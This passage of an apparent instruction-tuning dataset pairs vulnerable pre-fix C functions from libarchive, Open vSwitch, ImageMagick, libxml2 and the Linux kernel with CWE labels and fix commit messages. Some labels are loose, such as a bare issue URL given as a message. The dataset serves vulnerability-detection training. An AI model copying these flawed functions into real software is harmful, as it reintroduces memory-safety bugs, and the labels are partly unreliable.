header_size;\n rar->dbo[0].start_offset = -1;\n rar->dbo[0].end_offset = -1;\n rar->cursor = 0;\n rar->nodes = 1;\n\n if (rar->file_flags & FHD_SALT)\n {\n if (p + 8 > endp) {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Invalid header size\");\n return (ARCHIVE_FATAL);\n }\n memcpy(rar->salt, p, 8);\n p += 8;\n }\n\n if (rar->file_flags & FHD_EXTTIME) {\n if (read_exttime(p, rar, endp) < 0) {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Invalid header size\");\n return (ARCHIVE_FATAL);\n }\n }\n\n __archive_read_consume(a, header_size - 7);\n rar->dbo[0].start_offset = a->filter->position;\n rar->dbo[0].end_offset = rar->dbo[0].start_offset + rar->packed_size;\n\n switch(file_header.host_os)\n {\n case OS_MSDOS:\n case OS_OS2:\n case OS_WIN32:\n rar->mode = archive_le32dec(file_header.file_attr);\n if (rar->mode & FILE_ATTRIBUTE_DIRECTORY)\n rar->mode = AE_IFDIR | S_IXUSR | S_IXGRP | S_IXOTH;\n else\n rar->mode = AE_IFREG;\n rar->mode |= S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH;\n break;\n\n case OS_UNIX:\n case OS_MAC_OS:\n case OS_BEOS:\n rar->mode = archive_le32dec(file_header.file_attr);\n break;\n\n default:\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Unknown file attributes from RAR file's host OS\");\n return (ARCHIVE_FATAL);\n }\n\n rar->bytes_uncopied = rar->bytes_unconsumed = 0;\n rar->lzss.position = rar->offset = 0;\n rar->offset_seek = 0;\n rar->dictionary_size = 0;\n rar->offset_outgoing = 0;\n rar->br.cache_avail = 0;\n rar->br.avail_in = 0;\n rar->crc_calculated = 0;\n rar->entry_eof = 0;\n rar->valid = 1;\n rar->is_ppmd_block = 0;\n rar->start_new_table = 1;\n free(rar->unp_buffer);\n rar->unp_buffer = NULL;\n rar->unp_offset = 0;\n rar->unp_buffer_size = UNP_BUFFER_SIZE;\n memset(rar->lengthtable, 0, sizeof(rar->lengthtable));\n __archive_ppmd7_functions.Ppmd7_Free(&rar->ppmd7_context, &g_szalloc);\n rar->ppmd_valid = rar->ppmd_eod = 0;\n\n /* Don't set any archive entries for non-file header types */\n if (head_type == NEWSUB_HEAD)\n return ret;\n\n archive_entry_set_mtime(entry, rar->mtime, rar->mnsec);\n archive_entry_set_ctime(entry, rar->ctime, rar->cnsec);\n archive_entry_set_atime(entry, rar->atime, rar->ansec);\n archive_entry_set_size(entry, rar->unp_size);\n archive_entry_set_mode(entry, rar->mode);\n\n if (archive_entry_copy_pathname_l(entry, filename, filename_size, fn_sconv))\n {\n if (errno == ENOMEM)\n {\n archive_set_error(&a->archive, ENOMEM,\n \"Can't allocate memory for Pathname\");\n return (ARCHIVE_FATAL);\n }\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Pathname cannot be converted from %s to current locale.\",\n archive_string_conversion_charset_name(fn_sconv));\n ret = (ARCHIVE_WARN);\n }\n\n if (((rar->mode) & AE_IFMT) == AE_IFLNK)\n {\n /* Make sure a symbolic-link file does not have its body. */\n rar->bytes_remaining = 0;\n archive_entry_set_size(entry, 0);\n\n /* Read a symbolic-link name. */\n if ((ret2 = read_symlink_stored(a, entry, sconv)) < (ARCHIVE_WARN))\n return ret2;\n if (ret > ret2)\n ret = ret2;\n }\n\n if (rar->bytes_remaining == 0)\n rar->entry_eof = 1;\n\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125', 'CWE-193'], 'message': 'Avoid a read off-by-one error for UTF16 names in RAR archives.\n\nReported-By: OSS-Fuzz issue 573'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ofputil_pull_ofp15_group_mod(struct ofpbuf *msg, enum ofp_version ofp_version,\n struct ofputil_group_mod *gm)\n{\n const struct ofp15_group_mod *ogm;\n uint16_t bucket_list_len;\n enum ofperr error = OFPERR_OFPGMFC_BAD_BUCKET;\n\n ogm = ofpbuf_pull(msg, sizeof *ogm);\n gm->command = ntohs(ogm->command);\n gm->type = ogm->type;\n gm->group_id = ntohl(ogm->group_id);\n\n gm->command_bucket_id = ntohl(ogm->command_bucket_id);\n switch (gm->command) {\n case OFPGC15_REMOVE_BUCKET:\n if (gm->command_bucket_id == OFPG15_BUCKET_ALL) {\n error = 0;\n }\n /* Fall through */\n case OFPGC15_INSERT_BUCKET:\n if (gm->command_bucket_id <= OFPG15_BUCKET_MAX ||\n gm->command_bucket_id == OFPG15_BUCKET_FIRST\n || gm->command_bucket_id == OFPG15_BUCKET_LAST) {\n error = 0;\n }\n break;\n\n case OFPGC11_ADD:\n case OFPGC11_MODIFY:\n case OFPGC11_ADD_OR_MOD:\n case OFPGC11_DELETE:\n default:\n if (gm->command_bucket_id == OFPG15_BUCKET_ALL) {\n error = 0;\n }\n break;\n }\n if (error) {\n VLOG_WARN_RL(&bad_ofmsg_rl,\n \"group command bucket id (%u) is out of range\",\n gm->command_bucket_id);\n return OFPERR_OFPGMFC_BAD_BUCKET;\n }\n\n bucket_list_len = ntohs(ogm->bucket_array_len);\n if (bucket_list_len > msg->size) {\n return OFPERR_OFPBRC_BAD_LEN;\n }\n error = ofputil_pull_ofp15_buckets(msg, bucket_list_len, ofp_version,\n gm->type, &gm->buckets);\n if (error) {\n return error;\n }\n\n return parse_ofp15_group_properties(msg, gm->type, gm->command, &gm->props,\n msg->size);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'ofp-util: Fix memory leaks when parsing OF1.5 group properties.\n\nFound by libFuzzer.\n\nReported-by: Bhargava Shastry \nSigned-off-by: Ben Pfaff \nAcked-by: Justin Pettit '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadVIPSImage(const ImageInfo *image_info,\n ExceptionInfo *exception)\n{\n char\n buffer[MagickPathExtent],\n *metadata;\n\n Image\n *image;\n\n MagickBooleanType\n status;\n\n ssize_t\n n;\n\n unsigned int\n channels,\n marker;\n\n VIPSBandFormat\n format;\n\n VIPSCoding\n coding;\n\n VIPSType\n type;\n\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n marker=ReadBlobLSBLong(image);\n if (marker == VIPS_MAGIC_LSB)\n image->endian=LSBEndian;\n else if (marker == VIPS_MAGIC_MSB)\n image->endian=MSBEndian;\n else\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n image->columns=(size_t) ReadBlobLong(image);\n image->rows=(size_t) ReadBlobLong(image);\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n channels=ReadBlobLong(image);\n (void) ReadBlobLong(image); /* Legacy */\n format=(VIPSBandFormat) ReadBlobLong(image);\n switch(format)\n {\n case VIPSBandFormatUCHAR:\n case VIPSBandFormatCHAR:\n image->depth=8;\n break;\n case VIPSBandFormatUSHORT:\n case VIPSBandFormatSHORT:\n image->depth=16;\n break;\n case VIPSBandFormatUINT:\n case VIPSBandFormatINT:\n case VIPSBandFormatFLOAT:\n image->depth=32;\n break;\n case VIPSBandFormatDOUBLE:\n image->depth=64;\n break;\n default:\n case VIPSBandFormatCOMPLEX:\n case VIPSBandFormatDPCOMPLEX:\n case VIPSBandFormatNOTSET:\n ThrowReaderException(CoderError,\"Unsupported band format\");\n }\n coding=(VIPSCoding) ReadBlobLong(image);\n type=(VIPSType) ReadBlobLong(image);\n switch(type)\n {\n case VIPSTypeCMYK:\n SetImageColorspace(image,CMYKColorspace,exception);\n if (channels == 5)\n image->alpha_trait=BlendPixelTrait;\n break;\n case VIPSTypeB_W:\n case VIPSTypeGREY16:\n SetImageColorspace(image,GRAYColorspace,exception);\n if (channels == 2)\n image->alpha_trait=BlendPixelTrait;\n break;\n case VIPSTypeRGB:\n case VIPSTypeRGB16:\n SetImageColorspace(image,RGBColorspace,exception);\n if (channels == 4)\n image->alpha_trait=BlendPixelTrait;\n break;\n case VIPSTypesRGB:\n SetImageColorspace(image,sRGBColorspace,exception);\n if (channels == 4)\n image->alpha_trait=BlendPixelTrait;\n break;\n default:\n case VIPSTypeFOURIER:\n case VIPSTypeHISTOGRAM:\n case VIPSTypeLAB:\n case VIPSTypeLABS:\n case VIPSTypeLABQ:\n case VIPSTypeLCH:\n case VIPSTypeMULTIBAND:\n case VIPSTypeUCS:\n case VIPSTypeXYZ:\n case VIPSTypeYXY:\n ThrowReaderException(CoderError,\"Unsupported colorspace\");\n }\n image->units=PixelsPerCentimeterResolution;\n image->resolution.x=ReadBlobFloat(image)*10;\n image->resolution.y=ReadBlobFloat(image)*10;\n /*\n Legacy, offsets, future\n */\n (void) ReadBlobLongLong(image);\n (void) ReadBlobLongLong(image);\n (void) ReadBlobLongLong(image);\n if (image_info->ping != MagickFalse)\n return(image);\n if (IsSupportedCombination(format,type) == MagickFalse)\n ThrowReaderException(CoderError,\n \"Unsupported combination of band format and colorspace\");\n if (channels == 0 || channels > 5)\n ThrowReaderException(CoderError,\"Unsupported number of channels\");\n if (coding == VIPSCodingNONE)\n status=ReadVIPSPixelsNONE(image,format,type,channels,exception);\n else\n ThrowReaderException(CoderError,\"Unsupported coding\");\n metadata=(char *) NULL;\n while ((n=ReadBlob(image,MagickPathExtent-1,(unsigned char *) buffer)) != 0)\n {\n buffer[n]='\\0';\n if (metadata == (char *) NULL)\n metadata=ConstantString(buffer);\n else\n (void) ConcatenateString(&metadata,buffer);\n }\n if (metadata != (char *) NULL)\n SetImageProperty(image,\"vips:metadata\",metadata,exception);\n (void) CloseBlob(image);\n if (status == MagickFalse)\n return((Image *) NULL);\n return(image);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/770'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadYUVImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *chroma_image,\n *image,\n *resize_image;\n\n InterlaceType\n interlace;\n\n MagickBooleanType\n status;\n\n register const Quantum\n *chroma_pixels;\n\n register ssize_t\n x;\n\n register Quantum\n *q;\n\n register unsigned char\n *p;\n\n ssize_t\n count,\n horizontal_factor,\n vertical_factor,\n y;\n\n size_t\n length,\n quantum;\n\n unsigned char\n *scanline;\n\n /*\n Allocate image structure.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n if ((image->columns == 0) || (image->rows == 0))\n ThrowReaderException(OptionError,\"MustSpecifyImageSize\");\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n quantum=(ssize_t) (image->depth <= 8 ? 1 : 2);\n interlace=image_info->interlace;\n horizontal_factor=2;\n vertical_factor=2;\n if (image_info->sampling_factor != (char *) NULL)\n {\n GeometryInfo\n geometry_info;\n\n MagickStatusType\n flags;\n\n flags=ParseGeometry(image_info->sampling_factor,&geometry_info);\n horizontal_factor=(ssize_t) geometry_info.rho;\n vertical_factor=(ssize_t) geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n vertical_factor=horizontal_factor;\n if ((horizontal_factor != 1) && (horizontal_factor != 2) &&\n (vertical_factor != 1) && (vertical_factor != 2))\n ThrowReaderException(CorruptImageError,\"UnexpectedSamplingFactor\");\n }\n if ((interlace == UndefinedInterlace) ||\n ((interlace == NoInterlace) && (vertical_factor == 2)))\n {\n interlace=NoInterlace; /* CCIR 4:2:2 */\n if (vertical_factor == 2)\n interlace=PlaneInterlace; /* CCIR 4:1:1 */\n }\n if (interlace != PartitionInterlace)\n {\n /*\n Open image file.\n */\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n if (DiscardBlobBytes(image,(MagickSizeType) image->offset) == MagickFalse)\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n }\n /*\n Allocate memory for a scanline.\n */\n if (interlace == NoInterlace)\n scanline=(unsigned char *) AcquireQuantumMemory((size_t) (2UL*\n image->columns+2UL),(size_t) quantum*sizeof(*scanline));\n else\n scanline=(unsigned char *) AcquireQuantumMemory(image->columns,\n (size_t) quantum*sizeof(*scanline));\n if (scanline == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n status=MagickTrue;\n do\n {\n chroma_image=CloneImage(image,(image->columns+horizontal_factor-1)/\n horizontal_factor,(image->rows+vertical_factor-1)/vertical_factor,\n MagickTrue,exception);\n if (chroma_image == (Image *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n /*\n Convert raster image to pixel packets.\n */\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n break;\n if (interlace == PartitionInterlace)\n {\n AppendImageFormat(\"Y\",image->filename);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n }\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register Quantum\n *chroma_pixels;\n\n if (interlace == NoInterlace)\n {\n if ((y > 0) || (GetPreviousImageInList(image) == (Image *) NULL))\n {\n length=2*quantum*image->columns;\n count=ReadBlob(image,length,scanline);\n if (count != (ssize_t) length)\n {\n status=MagickFalse;\n ThrowFileException(exception,CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n break;\n }\n }\n p=scanline;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n chroma_pixels=QueueAuthenticPixels(chroma_image,0,y,\n chroma_image->columns,1,exception);\n if (chroma_pixels == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x+=2)\n {\n SetPixelRed(chroma_image,0,chroma_pixels);\n if (quantum == 1)\n SetPixelGreen(chroma_image,ScaleCharToQuantum(*p++),\n chroma_pixels);\n else\n {\n SetPixelGreen(chroma_image,ScaleShortToQuantum(((*p) << 8) |\n *(p+1)),chroma_pixels);\n p+=2;\n }\n if (quantum == 1)\n SetPixelRed(image,ScaleCharToQuantum(*p++),q);\n else\n {\n SetPixelRed(image,ScaleShortToQuantum(((*p) << 8) | *(p+1)),q);\n p+=2;\n }\n SetPixelGreen(image,0,q);\n SetPixelBlue(image,0,q);\n q+=GetPixelChannels(image);\n SetPixelGreen(image,0,q);\n SetPixelBlue(image,0,q);\n if (quantum == 1)\n SetPixelBlue(chroma_image,ScaleCharToQuantum(*p++),chroma_pixels);\n else\n {\n SetPixelBlue(chroma_image,ScaleShortToQuantum(((*p) << 8) |\n *(p+1)),chroma_pixels);\n p+=2;\n }\n if (quantum == 1)\n SetPixelRed(image,ScaleCharToQuantum(*p++),q);\n else\n {\n SetPixelRed(image,ScaleShortToQuantum(((*p) << 8) | *(p+1)),q);\n p+=2;\n }\n chroma_pixels+=GetPixelChannels(chroma_image);\n q+=GetPixelChannels(image);\n }\n }\n else\n {\n if ((y > 0) || (GetPreviousImageInList(image) == (Image *) NULL))\n {\n length=quantum*image->columns;\n count=ReadBlob(image,length,scanline);\n if (count != (ssize_t) length)\n {\n status=MagickFalse;\n ThrowFileException(exception,CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n break;\n }\n }\n p=scanline;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (quantum == 1)\n SetPixelRed(image,ScaleCharToQuantum(*p++),q);\n else\n {\n SetPixelRed(image,ScaleShortToQuantum(((*p) << 8) | *(p+1)),q);\n p+=2;\n }\n SetPixelGreen(image,0,q);\n SetPixelBlue(image,0,q);\n q+=GetPixelChannels(image);\n }\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (interlace == NoInterlace)\n if (SyncAuthenticPixels(chroma_image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n if (interlace == PartitionInterlace)\n {\n (void) CloseBlob(image);\n AppendImageFormat(\"U\",image->filename);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n }\n if (interlace != NoInterlace)\n {\n for (y=0; y < (ssize_t) chroma_image->rows; y++)\n {\n length=quantum*chroma_image->columns;\n count=ReadBlob(image,length,scanline);\n if (count != (ssize_t) length)\n {\n status=MagickFalse;\n ThrowFileException(exception,CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n break;\n }\n p=scanline;\n q=QueueAuthenticPixels(chroma_image,0,y,chroma_image->columns,1,\n exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) chroma_image->columns; x++)\n {\n SetPixelRed(chroma_image,0,q);\n if (quantum == 1)\n SetPixelGreen(chroma_image,ScaleCharToQuantum(*p++),q);\n else\n {\n SetPixelGreen(chroma_image,ScaleShortToQuantum(((*p) << 8) |\n *(p+1)),q);\n p+=2;\n }\n SetPixelBlue(chroma_image,0,q);\n q+=GetPixelChannels(chroma_image);\n }\n if (SyncAuthenticPixels(chroma_image,exception) == MagickFalse)\n break;\n }\n if (interlace == PartitionInterlace)\n {\n (void) CloseBlob(image);\n AppendImageFormat(\"V\",image->filename);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n }\n for (y=0; y < (ssize_t) chroma_image->rows; y++)\n {\n length=quantum*chroma_image->columns;\n count=ReadBlob(image,length,scanline);\n if (count != (ssize_t) length)\n {\n status=MagickFalse;\n ThrowFileException(exception,CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n break;\n }\n p=scanline;\n q=GetAuthenticPixels(chroma_image,0,y,chroma_image->columns,1,\n exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) chroma_image->columns; x++)\n {\n if (quantum == 1)\n SetPixelBlue(chroma_image,ScaleCharToQuantum(*p++),q);\n else\n {\n SetPixelBlue(chroma_image,ScaleShortToQuantum(((*p) << 8) |\n *(p+1)),q);\n p+=2;\n }\n q+=GetPixelChannels(chroma_image);\n }\n if (SyncAuthenticPixels(chroma_image,exception) == MagickFalse)\n break;\n }\n }\n /*\n Scale image.\n */\n resize_image=ResizeImage(chroma_image,image->columns,image->rows,\n TriangleFilter,exception);\n chroma_image=DestroyImage(chroma_image);\n if (resize_image == (Image *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n chroma_pixels=GetVirtualPixels(resize_image,0,y,resize_image->columns,1,\n exception);\n if ((q == (Quantum *) NULL) ||\n (chroma_pixels == (const Quantum *) NULL))\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelGreen(image,GetPixelGreen(resize_image,chroma_pixels),q);\n SetPixelBlue(image,GetPixelBlue(resize_image,chroma_pixels),q);\n chroma_pixels+=GetPixelChannels(resize_image);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n resize_image=DestroyImage(resize_image);\n if (SetImageColorspace(image,YCbCrColorspace,exception) == MagickFalse)\n break;\n if (interlace == PartitionInterlace)\n (void) CopyMagickString(image->filename,image_info->filename,\n MagickPathExtent);\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n if (interlace == NoInterlace)\n count=ReadBlob(image,(size_t) (2*quantum*image->columns),scanline);\n else\n count=ReadBlob(image,(size_t) quantum*image->columns,scanline);\n if (count != 0)\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (count != 0);\n scanline=(unsigned char *) RelinquishMagickMemory(scanline);\n (void) CloseBlob(image);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-772'], 'message': 'fix multiple memory leak in ReadYUVImage'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlMemStrdupLoc(const char *str, const char *file, int line)\n{\n char *s;\n size_t size = strlen(str) + 1;\n MEMHDR *p;\n\n if (!xmlMemInitialized) xmlInitMemory();\n TEST_POINT\n\n p = (MEMHDR *) malloc(RESERVE_SIZE+size);\n if (!p) {\n goto error;\n }\n p->mh_tag = MEMTAG;\n p->mh_size = size;\n p->mh_type = STRDUP_TYPE;\n p->mh_file = file;\n p->mh_line = line;\n xmlMutexLock(xmlMemMutex);\n p->mh_number = ++block;\n debugMemSize += size;\n debugMemBlocks++;\n if (debugMemSize > debugMaxMemSize) debugMaxMemSize = debugMemSize;\n#ifdef MEM_LIST\n debugmem_list_add(p);\n#endif\n xmlMutexUnlock(xmlMemMutex);\n\n s = (char *) HDR_2_CLIENT(p);\n\n if (xmlMemStopAtBlock == p->mh_number) xmlMallocBreakpoint();\n\n strcpy(s,str);\n\n TEST_POINT\n\n if (xmlMemTraceBlockAt == s) {\n\txmlGenericError(xmlGenericErrorContext,\n\t\t\t\"%p : Strdup() Ok\\n\", xmlMemTraceBlockAt);\n\txmlMallocBreakpoint();\n }\n\n return(s);\n\nerror:\n return(NULL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Check for integer overflow in memory debug code\n\nFixes bug 783026.\n\nThanks to Pranjal Jumde for the report.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int fanout_add(struct sock *sk, u16 id, u16 type_flags)\n{\n\tstruct packet_rollover *rollover = NULL;\n\tstruct packet_sock *po = pkt_sk(sk);\n\tstruct packet_fanout *f, *match;\n\tu8 type = type_flags & 0xff;\n\tu8 flags = type_flags >> 8;\n\tint err;\n\n\tswitch (type) {\n\tcase PACKET_FANOUT_ROLLOVER:\n\t\tif (type_flags & PACKET_FANOUT_FLAG_ROLLOVER)\n\t\t\treturn -EINVAL;\n\tcase PACKET_FANOUT_HASH:\n\tcase PACKET_FANOUT_LB:\n\tcase PACKET_FANOUT_CPU:\n\tcase PACKET_FANOUT_RND:\n\tcase PACKET_FANOUT_QM:\n\tcase PACKET_FANOUT_CBPF:\n\tcase PACKET_FANOUT_EBPF:\n\t\tbreak;\n\tdefault:\n\t\treturn -EINVAL;\n\t}\n\n\tmutex_lock(&fanout_mutex);\n\n\terr = -EINVAL;\n\tif (!po->running)\n\t\tgoto out;\n\n\terr = -EALREADY;\n\tif (po->fanout)\n\t\tgoto out;\n\n\tif (type == PACKET_FANOUT_ROLLOVER ||\n\t (type_flags & PACKET_FANOUT_FLAG_ROLLOVER)) {\n\t\terr = -ENOMEM;\n\t\trollover = kzalloc(sizeof(*rollover), GFP_KERNEL);\n\t\tif (!rollover)\n\t\t\tgoto out;\n\t\tatomic_long_set(&rollover->num, 0);\n\t\tatomic_long_set(&rollover->num_huge, 0);\n\t\tatomic_long_set(&rollover->num_failed, 0);\n\t\tpo->rollover = rollover;\n\t}\n\n\tmatch = NULL;\n\tlist_for_each_entry(f, &fanout_list, list) {\n\t\tif (f->id == id &&\n\t\t read_pnet(&f->net) == sock_net(sk)) {\n\t\t\tmatch = f;\n\t\t\tbreak;\n\t\t}\n\t}\n\terr = -EINVAL;\n\tif (match && match->flags != flags)\n\t\tgoto out;\n\tif (!match) {\n\t\terr = -ENOMEM;\n\t\tmatch = kzalloc(sizeof(*match), GFP_KERNEL);\n\t\tif (!match)\n\t\t\tgoto out;\n\t\twrite_pnet(&match->net, sock_net(sk));\n\t\tmatch->id = id;\n\t\tmatch->type = type;\n\t\tmatch->flags = flags;\n\t\tINIT_LIST_HEAD(&match->list);\n\t\tspin_lock_init(&match->lock);\n\t\tatomic_set(&match->sk_ref, 0);\n\t\tfanout_init_data(match);\n\t\tmatch->prot_hook.type = po->prot_hook.type;\n\t\tmatch->prot_hook.dev = po->prot_hook.dev;\n\t\tmatch->prot_hook.func = packet_rcv_fanout;\n\t\tmatch->prot_hook.af_packet_priv = match;\n\t\tmatch->prot_hook.id_match = match_fanout_group;\n\t\tdev_add_pack(&match->prot_hook);\n\t\tlist_add(&match->list, &fanout_list);\n\t}\n\terr = -EINVAL;\n\tif (match->type == type &&\n\t match->prot_hook.type == po->prot_hook.type &&\n\t match->prot_hook.dev == po->prot_hook.dev) {\n\t\terr = -ENOSPC;\n\t\tif (atomic_read(&match->sk_ref) < PACKET_FANOUT_MAX) {\n\t\t\t__dev_remove_pack(&po->prot_hook);\n\t\t\tpo->fanout = match;\n\t\t\tatomic_inc(&match->sk_ref);\n\t\t\t__fanout_link(sk, po);\n\t\t\terr = 0;\n\t\t}\n\t}\nout:\n\tif (err && rollover) {\n\t\tkfree(rollover);\n\t\tpo->rollover = NULL;\n\t}\n\tmutex_unlock(&fanout_mutex);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'packet: Do not call fanout_release from atomic contexts\n\nCommit 6664498280cf (\"packet: call fanout_release, while UNREGISTERING a\nnetdev\"), unfortunately, introduced the following issues.\n\n1. calling mutex_lock(&fanout_mutex) (fanout_release()) from inside\nrcu_read-side critical section. rcu_read_lock disables preemption, most often,\nwhich prohibits calling sleeping functions.\n\n[ ] include/linux/rcupdate.h:560 Illegal context switch in RCU read-side critical section!\n[ ]\n[ ] rcu_scheduler_active = 1, debug_locks = 0\n[ ] 4 locks held by ovs-vswitchd/1969:\n[ ] #0: (cb_lock){++++++}, at: [] genl_rcv+0x19/0x40\n[ ] #1: (ovs_mutex){+.+.+.}, at: [] ovs_vport_cmd_del+0x4a/0x100 [openvswitch]\n[ ] #2: (rtnl_mutex){+.+.+.}, at: [] rtnl_lock+0x17/0x20\n[ ] #3: (rcu_read_lock){......}, at: [] packet_notifier+0x5/0x3f0\n[ ]\n[ ] Call Trace:\n[ ] [] dump_stack+0x85/0xc4\n[ ] [] lockdep_rcu_suspicious+0x107/0x110\n[ ] [] ___might_sleep+0x57/0x210\n[ ] [] __might_sleep+0x70/0x90\n[ ] [] mutex_lock_nested+0x3c/0x3a0\n[ ] [] ? vprintk_default+0x1f/0x30\n[ ] [] ? printk+0x4d/0x4f\n[ ] [] fanout_release+0x1d/0xe0\n[ ] [] packet_notifier+0x2f9/0x3f0\n\n2. calling mutex_lock(&fanout_mutex) inside spin_lock(&po->bind_lock).\n\"sleeping function called from invalid context\"\n\n[ ] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:620\n[ ] in_atomic(): 1, irqs_disabled(): 0, pid: 1969, name: ovs-vswitchd\n[ ] INFO: lockdep is turned off.\n[ ] Call Trace:\n[ ] [] dump_stack+0x85/0xc4\n[ ] [] ___might_sleep+0x202/0x210\n[ ] [] __might_sleep+0x70/0x90\n[ ] [] mutex_lock_nested+0x3c/0x3a0\n[ ] [] fanout_release+0x1d/0xe0\n[ ] [] packet_notifier+0x2f9/0x3f0\n\n3. calling dev_remove_pack(&fanout->prot_hook), from inside\nspin_lock(&po->bind_lock) or rcu_read-side critical-section. dev_remove_pack()\n-> synchronize_net(), which might 